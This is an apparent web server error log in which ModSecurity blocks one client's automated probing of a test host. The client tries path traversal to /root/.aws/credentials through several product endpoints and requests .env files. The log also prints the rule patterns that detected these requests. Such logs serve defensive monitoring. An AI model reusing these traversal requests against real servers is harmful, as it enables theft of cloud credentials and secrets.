[Sun Jun 08 02:26:05.718011 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/remote/fgt_lang&quot;] [unique_id &quot;aETYnbUz9CVwWtZ9cYd_uAAAAAI&quot;]
[Sun Jun 08 02:26:05.718075 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/remote/fgt_lang&quot;] [unique_id &quot;aETYnbUz9CVwWtZ9cYd_uAAAAAI&quot;]
[Sun Jun 08 02:26:05.718113 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/remote/fgt_lang&quot;] [unique_id &quot;aETYnbUz9CVwWtZ9cYd_uAAAAAI&quot;]
[Sun Jun 08 02:26:05.719802 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/remote/fgt_lang&quot;] [unique_id &quot;aETYnbUz9CVwWtZ9cYd_uAAAAAI&quot;]
[Sun Jun 08 02:26:05.720037 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/remote/fgt_lang&quot;] [unique_id &quot;aETYnbUz9CVwWtZ9cYd_uAAAAAI&quot;]
[Sun Jun 08 02:26:06.913060 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYnrUz9CVwWtZ9cYd_uQAAAAI&quot;]
[Sun Jun 08 02:26:06.913271 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYnrUz9CVwWtZ9cYd_uQAAAAI&quot;]
[Sun Jun 08 02:26:06.913466 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYnrUz9CVwWtZ9cYd_uQAAAAI&quot;]
[Sun Jun 08 02:26:08.062104 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /mgmt/shared/authn/login/root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mgmt/shared/authn/login/~../~../~../~../root/.aws/credentials&quot;] [unique_id &quot;aETYoLUz9CVwWtZ9cYd_ugAAAAI&quot;]
[Sun Jun 08 02:26:08.062380 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mgmt/shared/authn/login/~../~../~../~../root/.aws/credentials&quot;] [unique_id &quot;aETYoLUz9CVwWtZ9cYd_ugAAAAI&quot;]
[Sun Jun 08 02:26:08.062581 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mgmt/shared/authn/login/~../~../~../~../root/.aws/credentials&quot;] [unique_id &quot;aETYoLUz9CVwWtZ9cYd_ugAAAAI&quot;]
[Sun Jun 08 02:26:09.277669 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYobUz9CVwWtZ9cYd_uwAAAAI&quot;]
[Sun Jun 08 02:26:09.277880 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYobUz9CVwWtZ9cYd_uwAAAAI&quot;]
[Sun Jun 08 02:26:09.278172 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYobUz9CVwWtZ9cYd_uwAAAAI&quot;]
[Sun Jun 08 02:26:10.216142 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&amp;x=100&amp;y=100&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php/core/preview&quot;] [unique_id &quot;aETYorUz9CVwWtZ9cYd_vAAAAAI&quot;]
[Sun Jun 08 02:26:10.216222 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&amp;x=100&amp;y=100&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php/core/preview&quot;] [unique_id &quot;aETYorUz9CVwWtZ9cYd_vAAAAAI&quot;]
[Sun Jun 08 02:26:10.216264 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&amp;x=100&amp;y=100&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php/core/preview&quot;] [unique_id &quot;aETYorUz9CVwWtZ9cYd_vAAAAAI&quot;]
[Sun Jun 08 02:26:10.216864 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php/core/preview&quot;] [unique_id &quot;aETYorUz9CVwWtZ9cYd_vAAAAAI&quot;]
[Sun Jun 08 02:26:10.217068 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php/core/preview&quot;] [unique_id &quot;aETYorUz9CVwWtZ9cYd_vAAAAAI&quot;]
[Sun Jun 08 02:26:11.061880 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aETYo7Uz9CVwWtZ9cYd_vQAAAAI&quot;]
[Sun Jun 08 02:26:11.062082 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aETYo7Uz9CVwWtZ9cYd_vQAAAAI&quot;]
[Sun Jun 08 02:26:11.062315 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aETYo7Uz9CVwWtZ9cYd_vQAAAAI&quot;]
[Sun Jun 08 02:26:11.870815 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aETYo7Uz9CVwWtZ9cYd_vgAAAAI&quot;]
[Sun Jun 08 02:26:11.871073 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aETYo7Uz9CVwWtZ9cYd_vgAAAAI&quot;]
[Sun Jun 08 02:26:11.871261 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aETYo7Uz9CVwWtZ9cYd_vgAAAAI&quot;]
[Sun Jun 08 02:26:12.560604 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aETYpLUz9CVwWtZ9cYd_vwAAAAI&quot;]
[Sun Jun 08 02:26:12.560832 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aETYpLUz9CVwWtZ9cYd_vwAAAAI&quot;]
[Sun Jun 08 02:26:12.561009 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aETYpLUz9CVwWtZ9cYd_vwAAAAI&quot;]
[Sun Jun 08 02:26:14.032942 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aETYprUz9CVwWtZ9cYd_wQAAAAI&quot;]
[Sun Jun 08 02:26:14.033168 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aETYprUz9CVwWtZ9cYd_wQAAAAI&quot;]
[Sun Jun 08 02:26:14.033391 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aETYprUz9CVwWtZ9cYd_wQAAAAI&quot;]
